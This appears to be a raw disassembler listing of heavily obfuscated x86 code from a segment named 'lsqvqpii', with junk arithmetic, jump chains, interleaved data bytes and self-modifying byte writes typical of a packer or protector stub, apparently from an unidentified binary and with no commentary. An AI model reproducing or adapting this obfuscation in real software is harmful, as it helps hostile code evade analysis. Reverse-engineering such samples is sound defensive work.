; FUNCTION CHUNK AT 0042E12E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042EBBF SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		xor	edx, eax
		dec	ecx
		jnz	loc_42D566
		jmp	loc_42E03D
sub_42CD93	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 9Ch,	68h, 5Bh
		dd 87D17234h, 0D38B241Ch, 4C2815Bh, 0F8B9A17h, 1F1189h
		dd 63E90000h, 1Bh, 24148700h, 4800F5Ah,	56000006h, 12C6E956h
		dd 81000000h, 0E01B78DBh, 74DE9A3h, 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D080


loc_42CDE4:				; CODE XREF: sub_42D080+B62j
		pop	ecx
		xchg	edx, [esp-4+arg_0]
		mov	ebp, edx
		pop	edx
		jmp	nullsub_22
; END OF FUNCTION CHUNK	FOR sub_42D080
; ---------------------------------------------------------------------------
		dd 0C0870F00h, 87000003h, 0FF5E2434h, 4210C015h, 0E4D16800h
		dd 97E90042h, 15h, 0C181C300h, 549B97ADh
dword_42CE14	dd 0E9240CB1h, 3B2h, 0FD47E800h		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42DD3F


loc_42CE22:				; CODE XREF: sub_42DD3F:loc_42EAE8j
		pop	edx
		or	edx, 96534090h
		add	edx, 0A78C8C43h
		and	edx, 81455E35h
		rol	edx, 1Ch
		xor	edx, 0E9E2B019h
		popf
		jmp	loc_42EC48
; END OF FUNCTION CHUNK	FOR sub_42DD3F
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EC30


loc_42CE46:				; CODE XREF: sub_42EC30-658j
		call	sub_42D2AC
; END OF FUNCTION CHUNK	FOR sub_42EC30
; START	OF FUNCTION CHUNK FOR sub_42DC4F


loc_42CE4B:				; CODE XREF: sub_42DC4F-4E4j
					; sub_42DC4F:loc_42E966j
		xor	edi, 0F2CBD66Bh
		add	edi, ebp
		add	edi, 10E2138Bh
		sbb	eax, 243CA33Fh
		jmp	loc_42DAC3
; END OF FUNCTION CHUNK	FOR sub_42DC4F
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_42E407


loc_42CE64:				; CODE XREF: sub_42E407-430j
		jo	loc_42ED56
		and	ecx, 5CAE2977h
		sub	ecx, 68ADB443h
		jmp	sub_42EA00
; END OF FUNCTION CHUNK	FOR sub_42E407
; ---------------------------------------------------------------------------
		align 4
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EB44


loc_42CE7D:				; CODE XREF: sub_42EB44-F7Dj
		mov	byte ptr [edi],	89h
		pop	edi
		pop	edi
		xor	edi, 0F2DAE2F6h
		push	edi
		jmp	loc_42D021
; END OF FUNCTION CHUNK	FOR sub_42EB44
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_21. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		xchg	ecx, ebx
		jmp	loc_42D62D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E407


loc_42CE96:				; CODE XREF: sub_42E407:loc_42DFBEj
					; sub_42E407+737j
		jmp	loc_42D806
; END OF FUNCTION CHUNK	FOR sub_42E407
; ---------------------------------------------------------------------------
		align 4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_5. PRESS KEYPAD "+" TO EXPAND]
		db 0E9h, 3, 0FFh
		dd 5200FFFFh, 42CD67BAh, 1438E900h, 0B9680000h,	0E90042D8h
					; CODE XREF: sub_42D663+Dj
					; lsqvqpii:0042EBF8j
		dd 0D30h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_42CEBA:				; DATA XREF: sub_42E7E2+Fo
		xchg	esi, [esp]
		jmp	loc_42DF80
; ---------------------------------------------------------------------------
		dw 3600h
		dd 1504E800h, 0
; ---------------------------------------------------------------------------
		jmp	locret_42D9AB
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E407


loc_42CED3:				; CODE XREF: sub_42E407:loc_42DDA8j
		sub	eax, edx
		jz	loc_42E9BD
		jmp	loc_42E929
; END OF FUNCTION CHUNK	FOR sub_42E407
; ---------------------------------------------------------------------------


loc_42CEE0:				; DATA XREF: sub_42E6D7+3o
		xchg	ebx, [esp]
		mov	edx, ebx
		pop	ebx
		mov	byte ptr [edx],	8Bh
		pop	edx
		push	411C9A0h
		jmp	loc_42CF58
; ---------------------------------------------------------------------------
		db 2 dup(0)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_7. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42DD3F


loc_42CEF7:				; CODE XREF: sub_42DD3F+Aj
		jmp	loc_42CF1C
; END OF FUNCTION CHUNK	FOR sub_42DD3F

; =============== S U B	R O U T	I N E =======================================



sub_42CEFC	proc near		; DATA XREF: sub_42CBA0:loc_42E7B3o
		add	eax, 6CFD83CDh
		xchg	eax, [esp+0]
		jmp	sub_42DB92
sub_42CEFC	endp

; ---------------------------------------------------------------------------
		dw 0E800h
		dd 1B14h, 6B0F4568h, 0B7EE948h,	0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42DD3F


loc_42CF1C:				; CODE XREF: sub_42DD3F:loc_42CEF7j
		mov	byte ptr [eax],	8Bh
		pop	eax
		pushf
		push	6AD4A825h
		xchg	ebp, [esp+0]
		mov	ecx, ebp
		pop	ebp
		and	ecx, 0C619EA1h
		jmp	loc_42E292
; END OF FUNCTION CHUNK	FOR sub_42DD3F
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_42CF38	proc near

; FUNCTION CHUNK AT 0042E650 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0042E7C9 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0042EDDA SIZE 00000005 BYTES

		call	sub_421134
		jmp	loc_42EDDA
sub_42CF38	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EDBB


loc_42CF43:				; CODE XREF: sub_42EDBB:loc_42EBA5j
					; sub_42EDBB+Aj
		mov	edx, [eax]
		or	edx, edx
		jz	loc_42E7D7
		push	offset sub_42CC9B
		jmp	loc_42EC22
; END OF FUNCTION CHUNK	FOR sub_42EDBB
; ---------------------------------------------------------------------------
		align 4


loc_42CF58:				; CODE XREF: lsqvqpii:0042CEEFj
		push	eax
		push	0EBA9029h
		pop	eax
		rol	eax, 2
		jmp	loc_42E983
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_15. PRESS	KEYPAD "+" TO EXPAND]
		dd 80E90000h, 87FFFFFBh, 525F243Ch, 0A052E468h,	0C2815A5Fh
					; CODE XREF: sub_42E0CA+Fp
		dd 79996F3h, 0A99E9h, 0C300h, 0EE5E9h, 0C6000000h, 8B598701h
		dd 241487D0h, 74CE9h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EDBB


loc_42CF9D:				; CODE XREF: sub_42EDBB-694j
		mov	byte ptr [esi],	90h
		pop	esi
		call	sub_42DCC5
; END OF FUNCTION CHUNK	FOR sub_42EDBB
; ---------------------------------------------------------------------------
		dw 0
; ---------------------------------------------------------------------------


loc_42CFA8:				; CODE XREF: lsqvqpii:0042E11Dj
		jmp	loc_42E239
; ---------------------------------------------------------------------------
		jmp	loc_42E643
; ---------------------------------------------------------------------------
		dw 9900h
; ---------------------------------------------------------------------------
		jmp	loc_42DD50
; ---------------------------------------------------------------------------
		align 2
; START	OF FUNCTION CHUNK FOR sub_42E407


loc_42CFBA:				; CODE XREF: sub_42E407+951j
		push	0B0BDA6DBh


loc_42CFBF:				; CODE XREF: lsqvqpii:0042D63Fj
		or	eax, 0C1ED23D4h
		cmp	eax, 0CCFF7331h
		jmp	loc_42D22D
; END OF FUNCTION CHUNK	FOR sub_42E407
; ---------------------------------------------------------------------------
		dd 2C870000h, 0B8BB5324h, 0E90042D9h, 418h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E407


loc_42CFE0:				; CODE XREF: sub_42E407+A0j
		jnz	loc_42D548
		mov	edi, ecx
		test	eax, 9CD6F0E9h
		jmp	near ptr loc_42D11D+1
; END OF FUNCTION CHUNK	FOR sub_42E407
; ---------------------------------------------------------------------------
		align 4
		dd 243C8700h, 8B243487h, 45895EFEh, 0C8DE8FCh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_42D006:				; CODE XREF: lsqvqpii:0042DBFCj
		jmp	locret_42EC29
; ---------------------------------------------------------------------------
		jmp	loc_42D2E6

; =============== S U B	R O U T	I N E =======================================



sub_42D010	proc near		; CODE XREF: sub_42D877:loc_42E2FAp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0042CAB4 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0042DB56 SIZE 00000008 BYTES

		xchg	ecx, [esp-4+arg_0]
		pop	ecx
		push	eax
		mov	eax, offset loc_42DB57
		jmp	loc_42CAB4
sub_42D010	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EB44


loc_42D021:				; CODE XREF: sub_42EB44-1CBBj
		mov	edi, eax
		xchg	edi, [esp-4+arg_0]
		mov	eax, offset byte_42D823
		jmp	loc_42D5AB
; END OF FUNCTION CHUNK	FOR sub_42EB44
; ---------------------------------------------------------------------------
		dd 0F75F0000h, 0A1DD81D0h, 0E936FCC3h, 1287h, 82E9EB85h
		dd 0Fh,	92880F00h, 8700001Dh, 515E2434h, 42DFE6B9h, 0FE50E900h
		dd 0FFFFh, 8A9D008Bh, 0E2BE6800h, 0ABE90042h
		db 0FCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_42D06F:				; CODE XREF: lsqvqpii:loc_42E076j
		cmp	esi, ebx
		jmp	loc_42E063
; ---------------------------------------------------------------------------


loc_42D076:				; CODE XREF: lsqvqpii:loc_42D815j
		push	offset loc_42D210
		jmp	loc_42E096

; =============== S U B	R O U T	I N E =======================================



sub_42D080	proc near		; CODE XREF: sub_42E2D3+33Bj

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0042CDE4 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0042DBCE SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0042DD8C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042E5AA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042E6CA SIZE 00000005 BYTES

		push	ebx
		push	0E48E22A2h
		pop	ebx
		xor	ebx, 0FF52F887h
		sub	ebx, 23FAAE21h
		and	ebx, 0DA0ADD2Fh
		jmp	loc_42DD8C
sub_42D080	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h
		test	esi, ebp
		jmp	loc_42D3BD
; ---------------------------------------------------------------------------
		xchg	ebx, [edx]
		jmp	sub_42ECE4
; ---------------------------------------------------------------------------
		dw 8700h
; ---------------------------------------------------------------------------
		xor	al, 24h
		mov	ecx, esi
		pop	esi
		xchg	ebp, [esp]
		push	ebp
		jmp	loc_42E613
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42DC4F


loc_42D0BF:				; CODE XREF: sub_42DC4F:loc_42EB9Fj
		mov	byte ptr [eax],	87h
		pop	eax
		pop	edi
		rol	edi, 2
		xor	edi, 8F1C36D3h
		sub	edi, 8184D569h
		test	edi, 100000h
		jmp	loc_42E3AA
; END OF FUNCTION CHUNK	FOR sub_42DC4F
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------


loc_42D0DF:				; CODE XREF: lsqvqpii:loc_42DDDBj
		pop	ecx
		rol	ecx, 8
		push	offset byte_42DF21
		jmp	loc_42E037
; ---------------------------------------------------------------------------
		align 2


loc_42D0EE:				; DATA XREF: lsqvqpii:0042EDEDo
		mov	edx, [edx]
		push	esi
		mov	esi, offset dword_42DFE8
		jmp	loc_42D6BD
; ---------------------------------------------------------------------------
		align 4


loc_42D0FC:				; DATA XREF: sub_42EB86-46Eo
		push	edi
		mov	edi, edx
		xchg	edi, [esp]
		mov	edx, offset loc_42E76B
		jmp	loc_42D61B
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_42D10E:				; CODE XREF: sub_42CD93+1132p
		xchg	esi, [esp]
		pop	esi
		lodsb
		add	edx, eax
		rol	edx, 3


loc_42D118:				; CODE XREF: lsqvqpii:0042DEBAj
		call	sub_42CD93


loc_42D11D:				; CODE XREF: sub_42E407-1419j
		add	[edi], cl
		mov	word ptr [ebx],	ds
		pop	es
; ---------------------------------------------------------------------------
		dw 0
; ---------------------------------------------------------------------------
		add	edx, 39790B74h
		not	ebx
; START	OF FUNCTION CHUNK FOR sub_42E407


loc_42D12C:				; CODE XREF: sub_42E407:loc_42E49Aj
		add	eax, 3E4579A2h
		mov	eax, [eax]
		jmp	loc_42DDA8
; END OF FUNCTION CHUNK	FOR sub_42E407
; ---------------------------------------------------------------------------
		db 2 dup(0), 0C3h
		dd 0FF1EE900h, 0FFFFh, 0A5CF8159h, 68C39F15h, 42CCEBh
		dd 1028E9h
		db 3 dup(0)
byte_42D157	db 6Ah			; DATA XREF: lsqvqpii:loc_42E239o
		dd 0FC99E8FFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EB44


loc_42D15E:				; CODE XREF: sub_42EB44+266j
		add	edi, 0C8D4421Eh


loc_42D164:				; DATA XREF: sub_42EB44:loc_42DBC2o
		mov	[edi], eax
		push	offset loc_42D771
		jmp	nullsub_24
; END OF FUNCTION CHUNK	FOR sub_42EB44
; ---------------------------------------------------------------------------
		dd 5D8700h, 0AD6E9h, 68000000h,	7F78A5Ah, 76CF815Fh, 81DEE0C9h
		dd 8A2569E7h, 86CE9E3h,	0
; ---------------------------------------------------------------------------
		and	ecx, ebx
		xchg	eax, ecx
		jmp	loc_42D694
; ---------------------------------------------------------------------------
		align 2
		push	edi
		jmp	sub_42E0CA
; ---------------------------------------------------------------------------


loc_42D1A4:				; CODE XREF: lsqvqpii:0042CBFAj
		call	sub_42DF16
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E407


loc_42D1AB:				; CODE XREF: sub_42E407+8A1j
		jmp	loc_42E65C
; END OF FUNCTION CHUNK	FOR sub_42E407

; =============== S U B	R O U T	I N E =======================================



sub_42D1B0	proc near		; CODE XREF: lsqvqpii:0042CB1Cj
					; lsqvqpii:0042E2EAp

; FUNCTION CHUNK AT 0042DFB7 SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		push	ebp
		mov	ebp, esp
		push	offset word_42E4BA
		jmp	loc_42DFB7
sub_42D1B0	endp

; ---------------------------------------------------------------------------
		db 2 dup(0)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
		dd 349h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E407


loc_42D1C8:				; CODE XREF: sub_42E407-1020j
		jmp	loc_42D7C3
; END OF FUNCTION CHUNK	FOR sub_42E407
; ---------------------------------------------------------------------------
		align 2
		jmp	nullsub_3
; ---------------------------------------------------------------------------
		align 4
		dd 0B4890F00h, 0E9000012h, 483h

; =============== S U B	R O U T	I N E =======================================



sub_42D1E0	proc near		; CODE XREF: lsqvqpii:0042D69Ep

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0042E052 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042E90E SIZE 00000018 BYTES

		xchg	edx, [esp+0]
		sbb	edx, eax
		jmp	loc_42E052
sub_42D1E0	endp

; ---------------------------------------------------------------------------
		align 4
dword_42D1EC	dd 8C3FC568h, 0C7C15F99h, 50CF811Ah, 0C13F7AC2h, 0C78115C7h
					; DATA XREF: lsqvqpii:0042EC50o
		dd 169F0481h, 3C1DF781h, 79E977C3h, 0FFFFFDh
; ---------------------------------------------------------------------------


loc_42D210:				; DATA XREF: lsqvqpii:loc_42D076o
		add	esi, 0F66421B0h
		xchg	esi, [esp]
		jmp	nullsub_3
; ---------------------------------------------------------------------------
		align 10h
		push	offset byte_42DE2D
		jmp	locret_42EB26
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_14. PRESS	KEYPAD "+" TO EXPAND]
		align 4
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E407


loc_42D22D:				; CODE XREF: sub_42E407-143Cj
		jmp	loc_42E49A
; END OF FUNCTION CHUNK	FOR sub_42E407
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D877


loc_42D232:				; CODE XREF: sub_42D877:loc_42EA97j
		call	sub_42E407
		jmp	loc_42EA6D
; END OF FUNCTION CHUNK	FOR sub_42D877
; ---------------------------------------------------------------------------


loc_42D23C:				; CODE XREF: lsqvqpii:0042D6F5j
		jmp	locret_42DB0C
; ---------------------------------------------------------------------------
		align 2
		dw 0D9E9h
		dd 0FFFFFAh, 2E880F00h,	81000006h, 0B639BCAh, 4C2C1D0h
		dd 9C9BC281h, 0C203FF41h, 0FED7E95Ah, 0FFFFh, 0DDE88158h
		dd 81A49BF2h, 944282C0h, 0B9E95037h, 0Eh, 7E9E955h, 23000000h
		dd 1AECE9DAh, 0E8000000h, 1794h, 0FC2F890Fh, 58DFFFFh
		dd 42DDCDh, 87CF8B51h, 0CB68240Ch, 0E92F97E8h, 19D6h

; =============== S U B	R O U T	I N E =======================================



sub_42D2AC	proc near		; CODE XREF: sub_42EC30:loc_42CE46p
					; lsqvqpii:0042DC41j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0042D95C SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0042DC03 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0042E4F3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042E799 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0042EAD0 SIZE 00000011 BYTES

		xchg	edi, [esp+0]
		xchg	esi, [esp+0]
		mov	edi, esi
		pop	esi
		jmp	loc_42E799
sub_42D2AC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
		dd 588DFD81h, 2AE97A45h, 0FFFFFBh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42CBA0


loc_42D2C8:				; CODE XREF: sub_42CBA0-A1j
					; lsqvqpii:0042CB11j
		sub	eax, 0A49D37F8h
		jnz	loc_42E7B3
		rol	edi, 1
		push	11DC4DCDh
		xor	eax, 0C07D4193h
		jmp	loc_42E7AD
; END OF FUNCTION CHUNK	FOR sub_42CBA0
; ---------------------------------------------------------------------------


loc_42D2E6:				; CODE XREF: lsqvqpii:0042D00Bj
		mov	byte ptr [edi],	87h
		xchg	edx, [esp]
		mov	edi, edx
		pop	edx
		or	edi, 34DDF0Eh
		rol	edi, 17h
		jmp	loc_42EC1C
; ---------------------------------------------------------------------------
		db 2 dup(0), 0Fh
		dd 0FFFD0686h, 0E9EE1BFFh, 0FFFFFAB9h, 0E8580000h, 31Bh
					; CODE XREF: lsqvqpii:loc_42D316j
; ---------------------------------------------------------------------------

locret_42D314:				; CODE XREF: lsqvqpii:loc_42CCE4j
		retn
; ---------------------------------------------------------------------------
		align 2


loc_42D316:				; CODE XREF: lsqvqpii:0042E1A3j
		jmp	near ptr dword_42D300+0Eh
; ---------------------------------------------------------------------------
		db 0E9h	; é		; CODE XREF: lsqvqpii:0042D5C5j
		db  43h	; C
		db  0Fh
		db    0
		db    0
		db 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_16. PRESS	KEYPAD "+" TO EXPAND]
		align 4


loc_42D324:				; CODE XREF: lsqvqpii:0042CD46j
		jmp	loc_42DBF0
; ---------------------------------------------------------------------------
		db 2 dup(0), 0F7h
		dd 993E9D1h, 820F0000h,	168Eh

; =============== S U B	R O U T	I N E =======================================



sub_42D338	proc near		; CODE XREF: sub_42E407-A85p
		xchg	ecx, [esp+0]
		pop	ecx
		push	eax
		mov	eax, edx
		xchg	eax, [esp+0]
		push	5F4615ECh
		pop	edx
		jmp	loc_42E4B5
sub_42D338	endp

; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_42D34F:				; DATA XREF: sub_42D5D5+1169o
		xchg	edi, [esp]
		push	edi
		call	sub_42EB44
; START	OF FUNCTION CHUNK FOR sub_42E5DE


loc_42D358:				; CODE XREF: sub_42E5DE:loc_42ED2Cj
		xchg	ebp, [esp+0]
		mov	esi, ebp
		pop	ebp
; END OF FUNCTION CHUNK	FOR sub_42E5DE
; START	OF FUNCTION CHUNK FOR sub_42E407


loc_42D35E:				; CODE XREF: sub_42E407:loc_42EB34j
		or	esi, 4A2FF8A8h
		add	esi, 2452CB29h
		push	edx
		push	8FA053F5h
		pop	edx
		jmp	loc_42DDA2
; END OF FUNCTION CHUNK	FOR sub_42E407
; ---------------------------------------------------------------------------
		align 4
		jl	loc_42D798
		and	edi, 0AA5094B1h
		push	edx
		push	7A271302h
		pop	edx
		rol	edx, 1Ch
		jmp	loc_42D5B1
; ---------------------------------------------------------------------------
		align 4
		mov	byte ptr [eax],	0C3h
		xchg	edi, [esp]
		mov	eax, edi
		pop	edi
		xchg	ecx, [esp]
		jmp	loc_42D46D
; ---------------------------------------------------------------------------
		db 2 dup(0), 81h
		dd 0F2D99AC7h, 3C879DDFh, 0FA8B5724h, 0E9243C87h, 0FFFFFAE1h
		db 0
; ---------------------------------------------------------------------------


loc_42D3BD:				; CODE XREF: lsqvqpii:0042D0A2j
		jns	loc_42E764
		rol	ecx, 12h
		jmp	sub_42DA05
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42DD3F


loc_42D3CB:				; CODE XREF: sub_42DD3F:loc_42EC48j
		xor	eax, eax
		cld
		jmp	loc_42E8C2
; END OF FUNCTION CHUNK	FOR sub_42DD3F
; ---------------------------------------------------------------------------
		db 51h
		dd 8B68CE8Bh, 0E90042CCh, 0FFFFF8E6h
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E407


loc_42D3E2:				; CODE XREF: sub_42E407:loc_42DBA5j
		mov	esi, offset loc_42DCBC
		jmp	loc_42D1C8
; END OF FUNCTION CHUNK	FOR sub_42E407
; ---------------------------------------------------------------------------
		dd 0ECBF9900h, 0E9A8216Eh, 0B0Fh, 42D9AC68h, 0FACAE900h
		dd 0D3F7FFFFh, 1143E9h,	32C08100h, 818A0E5Ah, 8969A2E8h
		dd 5BF08122h, 81DB62A7h, 5B7BD1C0h, 0E95250D5h,	561h
		db 0
byte_42D429	db 56h,	8Bh, 0F5h	; DATA XREF: sub_42DB92o
		dd 0D10E8h, 31E90000h, 11h, 0EB6E6852h,	815AC2B1h, 4345E2EAh
		dd 0C3E281CBh, 0E982274Fh, 0EB4h, 7720C081h, 0C06C3922h
		dd 119A840Fh, 68510000h, 0EB7D0E42h, 3B0E959h
		db 2 dup(0)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_19. PRESS	KEYPAD "+" TO EXPAND]
		align 4
		db 0
; ---------------------------------------------------------------------------


loc_42D46D:				; CODE XREF: lsqvqpii:0042D3A0j
		push	esi
		mov	esi, edi
		xchg	esi, [esp]
		push	0BCD66469h
		pop	edi
		add	edi, 0D3C32D8Dh
		or	edi, 0A5395C39h
		xor	edi, 0AC8C4F32h
		jmp	near ptr dword_42CC24+1Dh
; ---------------------------------------------------------------------------
		dd 0C2130000h, 7DDE9h
		db 3 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D877


loc_42D49B:				; CODE XREF: sub_42D877+Cj
		jz	loc_42E2F5
		jmp	loc_42E1CC
; END OF FUNCTION CHUNK	FOR sub_42D877
; ---------------------------------------------------------------------------
		dw 0C600h
		dd 0E8588700h, 0A22h, 3C870000h
		db 24h
; ---------------------------------------------------------------------------


loc_42D4B5:				; CODE XREF: lsqvqpii:0042CC65j
		xchg	ebp, [esp]
		mov	edi, ebp
		pop	ebp
		add	edi, 23F0DDDBh
		add	edi, ebp
		call	sub_42E2D3
		add	bl, al
		add	[ecx+311628C6h], al
		call	near ptr 686C0B60h
		inc	esp
		in	al, dx
		adc	dl, [ecx]
		sbb	ecx, 0C9ED956Ah
		jmp	loc_42DDDB
; ---------------------------------------------------------------------------
		dd 0D33B0000h, 91E9h
		db 3 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EA00


loc_42D4EF:				; CODE XREF: sub_42EA00+Bj
		pop	edi
		xor	edi, 0EA3083FCh
		sub	edi, 24380F6h
		rol	edi, 0Ch
		sub	edi, 389E0F7Ch
		push	edi
		mov	edi, offset loc_42E1EB
		jmp	loc_42E1E1
; END OF FUNCTION CHUNK	FOR sub_42EA00
; ---------------------------------------------------------------------------
		dd 243C8700h, 0F8ABE85Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42CBA0


loc_42D51A:				; CODE XREF: sub_42CBA0+1C18j
		jmp	nullsub_7
; END OF FUNCTION CHUNK	FOR sub_42CBA0
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_42E407


loc_42D520:				; CODE XREF: sub_42E407+8Ej
					; DATA XREF: sub_42EC73-FC8o
		mov	eax, [eax]
		or	eax, eax
		jnz	loc_42E5BB
		jmp	loc_42E908
; END OF FUNCTION CHUNK	FOR sub_42E407

; =============== S U B	R O U T	I N E =======================================



sub_42D52F	proc near		; CODE XREF: lsqvqpii:0042E3D9p

; FUNCTION CHUNK AT 0042D88A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042DF39 SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		push	7D09F1A9h
		pop	eax
		jmp	loc_42DF39
sub_42D52F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D877


loc_42D53F:				; CODE XREF: sub_42D877:loc_42E2F5j
					; DATA XREF: lsqvqpii:0042E27Co
		lea	eax, nullsub_3
		mov	byte ptr [eax],	0C3h


loc_42D548:				; CODE XREF: sub_42E407:loc_42CFE0j
		call	nullsub_1
		call	nullsub_2
		push	574E85AAh
		jmp	loc_42ECAF
; END OF FUNCTION CHUNK	FOR sub_42D877
; ---------------------------------------------------------------------------
		dd 0D6850000h, 0FFFD9AE9h
; ---------------------------------------------------------------------------
		inc	dword ptr [eax]
; START	OF FUNCTION CHUNK FOR sub_42CD93


loc_42D566:				; CODE XREF: sub_42CD93+7j
					; sub_42DD3F:loc_42E8C2j
		jnz	loc_42DEBF
		js	loc_42E4DE
		lodsb
		push	offset loc_42DEB5
		jmp	loc_42EBBF
; END OF FUNCTION CHUNK	FOR sub_42CD93
; ---------------------------------------------------------------------------
		align 2
		jge	nullsub_2
		add	edi, ebx
		jmp	loc_42E439
; ---------------------------------------------------------------------------


loc_42D58B:				; DATA XREF: lsqvqpii:0042E615o
		push	0F22B067Bh
		push	edi
		mov	edi, offset loc_42E02F
		jmp	loc_42E203
; ---------------------------------------------------------------------------
		db 87h
		dd 81582404h, 0AD131C2h, 0E07E8E0h
		db 3 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EB44


loc_42D5AB:				; CODE XREF: sub_42EB44-1B19j
		jmp	loc_42ED9E
; END OF FUNCTION CHUNK	FOR sub_42EB44
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------


loc_42D5B1:				; CODE XREF: lsqvqpii:0042D38Ej
		and	edx, 4756E368h
		xor	edx, 0F99D7CEEh
		rol	edx, 17h
		push	offset loc_42E26B
		jmp	near ptr unk_42D31B
; ---------------------------------------------------------------------------
		align 4

locret_42D5CC:				; CODE XREF: lsqvqpii:loc_42DDEEj
		retn
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_42D5CF:				; CODE XREF: lsqvqpii:0042E06Fj
		jl	loc_42CC03

; =============== S U B	R O U T	I N E =======================================



sub_42D5D5	proc near

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0042E736 SIZE 00000012 BYTES

		xchg	esi, [esp+0]
		pop	esi
		xchg	edi, [esp-4+arg_0]
		xchg	esi, [esp-4+arg_0]
		jmp	loc_42E736
sub_42D5D5	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dd 15FF0000h, 4210C0h, 0A8256856h, 815E8179h, 7D54EEh
		dd 64C6814Eh, 812FA3B4h, 0AF3FCAE6h, 1762E983h,	890F0000h
		dd 0FFFFFD6Eh
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E407


loc_42D611:				; CODE XREF: sub_42E407-6Cj
		jmp	loc_42D94C
; END OF FUNCTION CHUNK	FOR sub_42E407
; ---------------------------------------------------------------------------


loc_42D616:				; CODE XREF: lsqvqpii:0042DB21j
		jmp	loc_42CCD0
; ---------------------------------------------------------------------------


loc_42D61B:				; CODE XREF: lsqvqpii:0042D107j
		jmp	loc_42D904
; ---------------------------------------------------------------------------
		dd 800F0000h, 161Ah, 5F2E9h
		db 0
